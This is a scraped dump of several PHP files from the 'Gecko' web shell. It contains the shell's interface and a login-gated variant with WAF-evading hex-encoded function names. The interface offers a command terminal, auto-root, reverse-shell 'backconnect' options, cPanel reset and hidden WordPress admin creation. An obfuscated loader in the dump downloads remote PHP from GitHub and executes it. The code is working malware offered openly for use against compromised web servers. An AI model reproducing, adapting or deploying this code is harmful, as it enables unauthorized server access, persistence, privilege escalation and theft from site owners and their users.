<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js"></script>
<style>
@media screen and (min-width: 768px) and (max-width: 1200px) and (min-height:720px) {
.code-editor-container {
height: 85vh !important;
}
.CodeMirror {
height: 72vh !important;
font-size: xx-large !important;
margin: 0 4px;
border-radius: 4px;
}
.btn-modal-close {
padding: 15px 40px !important;
}
}
.btn-submit,
a {
text-decoration: none;
color: #fff
}
a,
body {
color: #fff
}
.btn-submit,
.form-file,
tbody tr:nth-child(2n) {
background-color: #22242d
}
.code-editor,
.modal,
.terminal {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0
}
.code-editor-body textarea,
.terminal-body textarea {
width: 98.5%;
height: 400px;
font-size: smaller;
resize: none
}
.menu-tools li,
.terminal-body li,
.terminal-head li {
display: inline-block
}
body {
background-color: #0e0f17;
font-family: monospace
}
.btn-modal-close:hover,
.btn-submit:hover,
.menu-file-manager ul,
.path-pwd,
thead {
background-color: #2e313d
}
ul {
list-style: none
}
.menu-header li {
padding: 5px 0
}
.menu-header ul li {
font-weight: 700;
font-style: italic
}
.btn-submit {
padding: 7px 25px;
border: 2px solid grey;
border-radius: 4px
}
.form-file,
a:hover {
color: #c5c8d6
}
.btn-submit:hover {
border: 2px solid #c5c8d6
}
.form-upload {
margin: 10px 0
}
.form-file {
border: 2px solid grey;
padding: 7px 20px;
border-radius: 4px
}
.menu-tools {
width: 95%
}
.menu-tools li {
margin: 15px 0
}
.menu-file-manager,
.modal-mail-text {
margin: 10px 40px
}
.menu-file-manager li {
display: inline-block;
margin: 15px 20px
}
.menu-file-manager li a::after {
content: "";
display: block;
border-bottom: 1px solid #fff
}
.path-pwd {
padding: 15px 0;
margin: 5px 0
}
table {
border-radius: 5px
}
thead {
height: 35px
}
tbody tr td {
padding: 10px 0
}
tbody tr td:nth-child(2),
tbody tr td:nth-child(3),
tbody tr td:nth-child(4) {
text-align: center
}
::-webkit-scrollbar {
width: 16px
}
::-webkit-scrollbar-track {
background: #0e0f17
}
::-webkit-scrollbar-thumb {
background: #22242d;
border: 2px solid #555;
border-radius: 4px
}
::-webkit-scrollbar-thumb:hover {
background: #555
}
::-webkit-file-upload-button {
display: none
}
.modal {
display: none;
z-index: 2;
width: 100%;
background-color: rgba(0, 0, 0, .3)
}
.modal-container {
animation-name: modal-pop-out;
animation-duration: .7s;
animation-fill-mode: both;
margin: 10% auto auto;
border-radius: 10px;
width: 800px;
background-color: #f4f4f9
}
@keyframes modal-pop-out {
from {
opacity: 0
}
to {
opacity: 1
}
}
.modal-header {
color: #000;
margin-left: 30px;
padding: 10px
}
.modal-body,
.terminal-head li {
color: #000
}
.modal-create-input {
width: 700px;
padding: 10px 5px;
background-color: #f4f4f9;
margin: 0 5%;
border: none;
border-radius: 4px;
box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);
border-bottom: 2px solid #0e0f17
}
.box-shadow {
box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)
}
.btn-modal-close {
background-color: #22242d;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 35px
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after {
padding: 5px;
border-radius: 5px;
margin-left: 110px;
background-color: #2e313d
}
.modal-btn-form {
margin: 15px 0;
padding: 10px;
text-align: right
}
.file-size {
color: orange
}
.badge-root::after {
content: "root";
display: block;
position: absolute;
width: 40px;
text-align: center;
margin-top: -30px;
margin-left: 110px;
border-radius: 4px;
background-color: red
}
.badge-premium::after {
content: "soon!";
display: block;
position: absolute;
width: 40px;
text-align: center;
margin-top: -30px;
margin-left: 140px;
border-radius: 4px;
background-color: red
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after,
.badge-linux::after,
.badge-windows::after {
width: 60px;
text-align: center;
margin-top: -30px;
display: block;
position: absolute
}
.badge-windows::after {
background-color: orange;
color: #000;
margin-left: 100px;
border-radius: 4px;
content: "windows"
}
.badge-linux::after {
margin-left: 100px;
border-radius: 4px;
background-color: #0047a3;
content: "linux"
}
.badge-action-editor:hover::after {
content: "Rename"
}
.badge-action-chmod:hover::after {
content: "Chmod"
}
.badge-action-download:hover::after {
content: "Download"
}
.CodeMirror {
height: 70vh;
}
.code-editor,
.terminal {
background-color: rgba(0, 0, 0, .3);
width: 100%
}
.code-editor-container {
background-color: #f4f4f9;
color: #000;
width: 90%;
height: 90vh;
margin: 20px auto auto;
border-radius: 10px
}
.code-editor-head {
padding: 15px;
font-weight: 700
}
.terminal-container {
animation: .5s both modal-pop-out;
width: 90%;
background-color: #f4f4f9;
margin: 25px auto auto;
color: #000;
border-radius: 4px
}
.bc-gecko,
.mail,
.terminal-input {
background-color: #22242d;
color: #fff
}
.terminal-head {
padding: 8px
}
.terminal-head li a {
color: #000;
position: absolute;
right: 0;
margin-right: 110px;
font-weight: 700;
margin-top: -20px;
font-size: 25px;
padding: 1px 10px
}
.terminal-body textarea {
margin: 4px;
background-color: #22242d;
color: #29db12;
border-radius: 4px
}
.active {
display: block
}
.terminal-input {
width: 500px;
padding: 6px;
border: 1px solid #22242d;
border-radius: 4px;
margin: 5px 0
}
.bc-gecko {
border: none;
padding: 7px 10px;
width: 712px;
border-radius: 5px;
margin: 15px 40px
}
.mail {
width: 705px;
resize: none;
height: 100px
}
.logo-gecko {
position: absolute;
top: -90px;
right: 40px;
z-index: -1;
bottom: 0
}
</style>
</head>
<body>
<div class="menu-header">
<ul>
<li><i class="fa-solid fa-computer"></i> <?= $fungsi[8](); ?></li>
<li><i class="fa-solid fa-server"></i> <?= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]; ?></li>
<li><i class="fa-solid fa-network-wired"></i> : <?= gethostbyname($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]); ?> | : <?= $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; ?></li>
<li><i class="fa-solid fa-globe"></i> <?= s(); ?></li>
<li><i class="fa-brands fa-php"></i> <?= PHP_VERSION; ?></li>
<li><i class="fa-solid fa-user"></i> <?= $fungsi[9](); ?></li>
<li><i class="fa-brands fa-github"></i> www.github.com/MadExploits</li>
<li class="logo-gecko"><img width="400" height="400" src="//raw.githubusercontent.com/MadExploits/Gecko/main/gecko1.png" align="right"></li>
<form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>'>
<li class="form-upload"><input type="submit" value="Upload" name="gecko-up-submit" class="btn-submit"> <input type="file" name="gecko-upload" class="form-file"></li>
</form>
</ul>
</div>
<div class="menu-tools">
<ul>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=normal" class="btn-submit"><i class="fa-solid fa-terminal"></i> Terminal</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&terminal=root" class="btn-submit badge-root"><i class="fa-solid fa-user-lock"></i> AUTO ROOT</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&adminer" class="btn-submit"><i class="fa-solid fa-database"></i> Adminer</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&destroy" class="btn-submit"><i class="fa-solid fa-ghost"></i> Backdoor Destroyer</a></li>
<li><a href="//www.exploit-db.com/search?q=Linux%20Kernel%20<?= suggest_exploit(); ?>" class="btn-submit"><i class="fa-solid fa-flask"></i> Linux Exploit</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&lockshell" class="btn-submit"><i class="fa-brands fa-linux"></i> Lock Shell</a></li>
<li><a href="" class="btn-submit badge-linux" id="lock-file"><i class="fa-brands fa-linux"></i> Lock File</a></li>
<li><a href="" class="btn-submit badge-root" id="root-user"><i class="fa-solid fa-user-plus"></i> Create User</a></li>
<li><a href="" class="btn-submit" id="create-rdp"><i class="fa-solid fa-laptop-file"></i> CREATE RDP</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&mailer" class="btn-submit"><i class="fa-solid fa-envelope"></i> PHP Mailer</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&backconnect" class="btn-submit"><i class="fa-solid fa-user-secret"></i> BACKCONNECT</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&unlockshell" class="btn-submit"><i class="fa-solid fa-unlock-keyhole"></i> UNLOCK SHELL</a></li>
<li><a href="//hashes.com/en/tools/hash_identifier" class="btn-submit"><i class="fa-solid fa-code"></i> HASH IDENTIFIER</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&cpanelreset" class="btn-submit"><i class="fa-brands fa-cpanel"></i> CPANEL RESET</a></li>
<li><a href="?d=<?= hx($fungsi[0]()) ?>&createwp" class="btn-submit"><i class="fa-brands fa-wordpress-simple"></i> CREATE WP USER</a></li>
<li><a href="//github.com/MadExploits/" class="btn-submit"><i class="fa-solid fa-link"></i> README</a></li>
</ul>
</div>
<?php
$file_manager = $fungsi[1]("{.[!.],}*", GLOB_BRACE);
$get_cwd = $fungsi[0]();
?>
<div class="menu-file-manager">
<ul>
<li><a href="" id="create_folder">+ Create Folder</a></li>
<li><a href="" id="create_file">+ Create File</a></li>
</ul>
<div class="path-pwd">
<?php
$cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows
$pwd = explode("/", $cwd);
if (stristr(PHP_OS, "WIN")) {
windowsDriver();
}
foreach ($pwd as $id => $val) {
if ($val == '' && $id == 0) {
echo ' <a href="?d=' . hx('/') . '"><i class="fa-solid fa-folder-plus"></i> / </a>';
continue;
}
if ($val == '') continue;
echo '<a href="?d=';
for ($i = 0; $i <= $id; $i++) {
echo hx($pwd[$i]);
if ($i != $id) echo hx("/");
}
echo '">' . $val . ' / ' . '</a>';
}
echo "<a style='font-weight:bold; color:orange;' href='?d=" . hx(__DIR__) . "'>[ HOME SHELL ]</a> ";
?>
</div>
</ul>
<table style="width: 100%;">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<form action="" method="post">
<tbody>
<!-- Gecko Folder File Manager -->
<?php foreach ($file_manager as $_D) : ?>
<?php if ($fungsi[2]($_D)) : ?>
<tr>
<td><input type="checkbox" name="check[]" value="<?= $_D ?>"> <i class="fa-solid fa-folder-open" style="color:orange;"></i> <a href="?d=<?= hx($fungsi[0]() . "/" . $_D); ?>"><?= namaPanjang($_D); ?></a></td>
<td>[ DIR ]</td>
<td>
<?php if ($fungsi[4]($fungsi[0]() . '/' . $_D)) {
echo '<font color="#00ff00">';
} elseif (!$fungsi[5]($fungsi[0]() . '/' . $_D)) {
echo '<font color="red">';
}
echo perms($fungsi[0]() . '/' . $_D);
?>
</td>
<!-- Action Folder Manager -->
<td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_D) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_D) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a></td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
<!-- Gecko Files Manager -->
<?php foreach ($file_manager as $_F) : ?>
<?php if ($fungsi[3]($_F)) : ?>
<tr>
<td><input type="checkbox" name="check[]" value="<?= $_F ?>"> <?= file_ext($_F) ?> <a href="?d=<?= hx($fungsi[0]()); ?>&f=<?= hx($_F); ?>" class="gecko-files"><?= namaPanjang($_F); ?></a></td>
<td><?= formatSize(filesize($_F)); ?></td>
<td>
<?php if (is_writable($fungsi[0]() . '/' . $_D)) {
echo '<font color="#00ff00">';
} elseif (!is_readable($fungsi[0]() . '/' . $_F)) {
echo '<font color="red">';
}
echo perms($fungsi[0]() . '/' . $_F);
?>
</td>
<!-- Action File Manager -->
<td><a href="?d=<?= hx($fungsi[0]()); ?>&re=<?= hx($_F) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_F) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a> <a href="?d=<?= hx($fungsi[0]()); ?>&don=<?= hx($_F) ?>" class="badge-action-download"><i class="fa-solid fa-download"></i></a></td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<br>
<select name="gecko-select" class="btn-submit">
<option value="delete">Delete</option>
<option value="unzip">Unzip</option>
<option value="zip">Zip</option><br>
</select>
<input type="submit" name="submit-action" value="Submit" class="btn-submit" style="padding: 8.3px 35px;">
</form>
<!-- Modal Pop Jquery Create Folder/File By ./MrMad -->
<div class="modal">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">${this.title}</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div id="modal-body-bc"></div>
<span id="modal-input"></span>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow" id="close-modal">Close</button>
</div>
</form>
</div>
</div>
</div>
</div>
<?php if (isset($_GET['cpanelreset'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: Cpanel Reset </i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<input type="email" name="resetcp" class="modal-create-input" placeholder="Your email : example@mail.com">
</div>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['createwp'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">
<center>CREATE WORDPRESS ADMIN PASSWORD</center>
</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<input type="text" name="db_name" class="modal-create-input" placeholder="DB_NAME">
<br><br>
<input type="text" name="db_user" class="modal-create-input" placeholder="DB_USER">
<br><br>
<input type="text" name="db_password" class="modal-create-input" placeholder="DB_PASSWORD">
<br><br>
<input type="text" name="db_host" class="modal-create-input" placeholder="DB_HOST" value="127.0.0.1">
<br><br>
<hr size="2" color="black" style="margin:0px 30px; border-radius:3px;">
<br><br>
<input type="text" name="wp_user" class="modal-create-input" placeholder="Your Username">
<br><br>
<input type="text" name="wp_pass" class="modal-create-input" placeholder="Your Password">
<br><br>
</div>
<div class="modal-btn-form">
<input type="submit" name="submitwp" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['backconnect'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: Backconnect</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<select class="bc-gecko box-shadow" name="gecko-bc">
<option value="-">Choose Backconnect</option>
<option value="perl">Perl</option>
<option value="python">Python</option>
<option value="ruby">Ruby</option>
<option value="bash">Bash</option>
<option value="php">php</option>
<option value="nc">nc</option>
<option value="sh">sh</option>
<option value="xterm">Xterm</option>
<option value="golang">Golang</option>
</select>
<input type="text" name="backconnect-host" class="modal-create-input" placeholder="127.0.0.1">
<br><br>
<input type="number" name="backconnect-port" class="modal-create-input" placeholder="1337">
<div class="modal-btn-form">
<input type="submit" name="submit-bc" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['mailer'])) : ?>
<div class="modal active">
<div class="modal-container">
<div class="modal-header">
<h3><b><i id="modal-title">:: PHP Mailer</i></b></h3>
</div>
<form action="" method="post">
<div class="modal-body">
<div class="modal-isi">
<form action="" method="post">
<div class="modal-mail-text">
<textarea name="message-smtp" class="box-shadow mail" placeholder=" Your Text here!"></textarea>
</div>
<br>
<input type="text" name="mailto-subject" class="modal-create-input" placeholder="Subject">
<br><br>
<input type="email" name="mail-from-smtp" class="modal-create-input" placeholder="from : example@mail.com">
<br><br>
<input type="email" name="mail-to-smtp" class="modal-create-input" placeholder="to : example@mail.com">
</div>
<div class="modal-btn-form">
<input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?d=<?= hx($fungsi[0]()) ?>">Close</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($_GET['f']) : ?>
<div class="code-editor">
<div class="code-editor-container">
<div class="code-editor-head">
<h3><i class="fa-solid fa-code"></i> Code Editor : <?= unx($_GET['f']); ?></h3>
</div>
<div class="code-editor-body">
<form action="" method="post">
<textarea name="code-editor" id="code" class="box-shadow" autofocus><?= $fungsi[10]($fungsi[11]($fungsi[0]() . "/" . unx($_GET['f']))); ?></textarea>
<div class="modal-btn-form">
<input type="submit" name="save-editor" value="Save" class="btn-modal-close"> <button class="btn-modal-close" id="close-editor">Close</button>
</div>
</form>
</div>
</div>
</div>
<?php endif; ?>
<?php if ($_GET['terminal'] == "normal") : ?>
<div class="terminal">
<div class="terminal-container">
<div class="terminal-head">
<ul>
<li id="terminal-title"><b><i class="fa-solid fa-terminal"></i> TERMINAL</b></li>
<li><a href="" class="close-terminal"><i class="fa-solid fa-right-from-bracket"></i></a></li>
</ul>
</div>
<div class="terminal-body">
<textarea class="box-shadow" disabled><?php
if (isset($_POST['terminal'])) {
echo $fungsi[10](cmd($_POST['terminal-text'] . " 2>&1"));
}
?></textarea>
<form action="" method="post">
<ul>
| php | MIT | 64d2888940b91b969b10458b11f927f9a3f59dbf | 2026-01-05T05:14:32.258281Z | true |
MadExploits/Gecko | https://github.com/MadExploits/Gecko/blob/64d2888940b91b969b10458b11f927f9a3f59dbf/gecko-litespeed.php | gecko-litespeed.php | <?php
goto sHNkh; sHNkh: $EnoeA = tmpfile(); goto uTcE6; uTcE6: $UmXGi = fwrite($EnoeA, file_get_contents("\x68\164\x74\x70\163\72\x2f\57\x72\141\x77\x2e\x67\151\164\150\x75\x62\165\x73\x65\162\143\x6f\x6e\x74\x65\x6e\164\x2e\x63\x6f\155\x2f\115\x61\x64\105\170\160\x6c\157\151\x74\x73\x2f\x47\145\x63\153\157\x2f\155\x61\x69\x6e\x2f\x67\145\143\x6b\x6f\x2d\x6e\145\x77\x2e\160\150\160")); goto xa01q; xa01q: include stream_get_meta_data($EnoeA)["\165\x72\x69"]; goto Lg1o1; Lg1o1: fclose($EnoeA);
| php | MIT | 64d2888940b91b969b10458b11f927f9a3f59dbf | 2026-01-05T05:14:32.258281Z | false |
MadExploits/Gecko | https://github.com/MadExploits/Gecko/blob/64d2888940b91b969b10458b11f927f9a3f59dbf/gecko-login.php | gecko-login.php | <?php
session_start();
date_default_timezone_set("Asia/Jakarta");
// Konfigurasi
$default_action = "FilesMan";
$default_use_ajax = true;
$default_charset = 'UTF-8';
// Fungsi untuk tampilan halaman login
function show_login_page($message = "")
{
?>
<!DOCTYPE html>
<html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
font-family: monospace;
}
input[type="password"] {
border: none;
border-bottom: 1px solid black;
padding: 2px;
}
input[type="password"]:focus {
outline: none;
}
input[type="submit"] {
border: none;
padding: 4.5px 20px;
background-color: #2e313d;
color: #FFF;
}
</style>
</head>
<body>
<form action="" method="post">
<div align="center">
<input type="password" name="pass" placeholder=" Password"> <input type="submit" name="submit" value=">">
</div>
</form>
</body>
</html>
</html>
<?php
exit;
}
if (!isset($_SESSION['authenticated'])) {
$stored_hashed_password = '$2y$10$ACTF7jbtyof6YoTCqitwLOxQ9II8xitPKC4pNi6SQjZM3HXkKiCZ.'; // Use PASSWORD_DEFAULT hash u can use this site https://phppasswordhash.com/ for generate ur password > Gunakan hash PASSWORD_DEFAULT Anda dapat menggunakan situs ini https://phppasswordhash.com/ untuk menghasilkan kata sandi Anda
if (isset($_POST['pass']) && password_verify($_POST['pass'], $stored_hashed_password)) {
$_SESSION['authenticated'] = true;
} else {
show_login_page();
}
}
?>
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
# function WAF
$Array = [
'676574637764', # ge tcw d => 0
'676c6f62', # gl ob => 1
'69735f646972', # is_d ir => 2
'69735f66696c65', # is_ file => 3
'69735f7772697461626c65', # is_wr iteable => 4
'69735f7265616461626c65', # is_re adble => 5
'66696c657065726d73', # fileper ms => 6
'66696c65', # f ile => 7
'7068705f756e616d65', # php_unam e => 8
'6765745f63757272656e745f75736572', # getc urrentuser => 9
'68746d6c7370656369616c6368617273', # html special => 10
'66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
'6d6b646972', # mk dir => 12
'746f756368', # to uch => 13
'6368646972', # ch dir => 14
'72656e616d65', # ren ame => 15
'65786563', # exe c => 16
'7061737374687275', # pas sthru => 17
'73797374656d', # syst em => 18
'7368656c6c5f65786563', # sh ell_exec => 19
'706f70656e', # p open => 20
'70636c6f7365', # pcl ose => 21
'73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
'70726f635f6f70656e', # p roc_open => 23
'756e6c696e6b', # un link => 24
'726d646972', # rmd ir => 25
'666f70656e', # fop en => 26
'66636c6f7365', # fcl ose => 27
'66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
'6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
'63686d6f64', # ch mod => 30
'7379735f6765745f74656d705f646972', # temp _dir => 31
'6261736536345F6465636F6465', # => bas e6 4 _decode => 32
'6261736536345F656E636F6465', # => ba se6 4_ encode => 33
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unx($Array[$i]);
}
if (isset($_GET['d'])) {
$cdir = unx($_GET['d']);
$fungsi[14]($cdir);
} else {
$cdir = $fungsi[0]();
}
function file_ext($file)
{
if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {
return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>';
} else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') {
return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>';
} else if (mime_content_type($file) == 'text/javascript') {
return '<i class="fa-brands fa-square-js"></i>';
} else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') {
return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>';
} else if (mime_content_type($file) == 'text/plain') {
return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>';
} else if (mime_content_type($file) == 'application/pdf') {
return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>';
} else {
return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>';
}
}
function download($file)
{
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
}
if ($_GET['don'] == true) {
$FilesDon = download(unx($_GET['don']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>Gecko [ <?= $_SERVER['SERVER_NAME']; ?> ]</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" integrity="sha512-Kc323vGBEqzTmouAECnVceyQqyqdsSiqLQISBL29aUW4U/M7pSPA/gEUZQqv1cwx4OnYxTxve5UMg5GT6L4JJg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js"></script>
<style>
@media screen and (min-width: 768px) and (max-width: 1200px) and (min-height:720px) {
.code-editor-container {
height: 85vh !important;
}
.CodeMirror {
height: 72vh !important;
font-size: xx-large !important;
margin: 0 4px;
border-radius: 4px;
}
.btn-modal-close {
padding: 15px 40px !important;
}
}
.btn-submit,
a {
text-decoration: none;
color: #fff
}
a,
body {
color: #fff
}
.btn-submit,
.form-file,
tbody tr:nth-child(2n) {
background-color: #22242d
}
.code-editor,
.modal,
.terminal {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0
}
.code-editor-body textarea,
.terminal-body textarea {
width: 98.5%;
height: 400px;
font-size: smaller;
resize: none
}
.menu-tools li,
.terminal-body li,
.terminal-head li {
display: inline-block
}
body {
background-color: #0e0f17;
font-family: monospace
}
.btn-modal-close:hover,
.btn-submit:hover,
.menu-file-manager ul,
.path-pwd,
thead {
background-color: #2e313d
}
ul {
list-style: none
}
.menu-header li {
padding: 5px 0
}
.menu-header ul li {
font-weight: 700;
font-style: italic
}
.btn-submit {
padding: 7px 25px;
border: 2px solid grey;
border-radius: 4px
}
.form-file,
a:hover {
color: #c5c8d6
}
.btn-submit:hover {
border: 2px solid #c5c8d6
}
.form-upload {
margin: 10px 0
}
.form-file {
border: 2px solid grey;
padding: 7px 20px;
border-radius: 4px
}
.menu-tools {
width: 95%
}
.menu-tools li {
margin: 15px 0
}
.menu-file-manager,
.modal-mail-text {
margin: 10px 40px
}
.menu-file-manager li {
display: inline-block;
margin: 15px 20px
}
.menu-file-manager li a::after {
content: "";
display: block;
border-bottom: 1px solid #fff
}
.path-pwd {
padding: 15px 0;
margin: 5px 0
}
table {
border-radius: 5px
}
thead {
height: 35px
}
tbody tr td {
padding: 10px 0
}
tbody tr td:nth-child(2),
tbody tr td:nth-child(3),
tbody tr td:nth-child(4) {
text-align: center
}
::-webkit-scrollbar {
width: 16px
}
::-webkit-scrollbar-track {
background: #0e0f17
}
::-webkit-scrollbar-thumb {
background: #22242d;
border: 2px solid #555;
border-radius: 4px
}
::-webkit-scrollbar-thumb:hover {
background: #555
}
::-webkit-file-upload-button {
display: none
}
.modal {
display: none;
z-index: 2;
width: 100%;
background-color: rgba(0, 0, 0, .3)
}
.modal-container {
animation-name: modal-pop-out;
animation-duration: .7s;
animation-fill-mode: both;
margin: 10% auto auto;
border-radius: 10px;
width: 800px;
background-color: #f4f4f9
}
@keyframes modal-pop-out {
from {
opacity: 0
}
to {
opacity: 1
}
}
.modal-header {
color: #000;
margin-left: 30px;
padding: 10px
}
.modal-body,
.terminal-head li {
color: #000
}
.modal-create-input {
width: 700px;
padding: 10px 5px;
background-color: #f4f4f9;
margin: 0 5%;
border: none;
border-radius: 4px;
box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);
border-bottom: 2px solid #0e0f17
}
.box-shadow {
box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)
}
.btn-modal-close {
background-color: #22242d;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 35px
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after {
padding: 5px;
border-radius: 5px;
margin-left: 110px;
background-color: #2e313d
}
.modal-btn-form {
margin: 15px 0;
padding: 10px;
text-align: right
}
.file-size {
color: orange
}
.badge-root::after {
content: "root";
display: block;
position: absolute;
width: 40px;
text-align: center;
margin-top: -30px;
margin-left: 110px;
border-radius: 4px;
background-color: red
}
.badge-premium::after {
content: "soon!";
display: block;
position: absolute;
width: 40px;
text-align: center;
margin-top: -30px;
margin-left: 140px;
border-radius: 4px;
background-color: red
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after,
.badge-linux::after,
.badge-windows::after {
width: 60px;
text-align: center;
margin-top: -30px;
display: block;
position: absolute
}
.badge-windows::after {
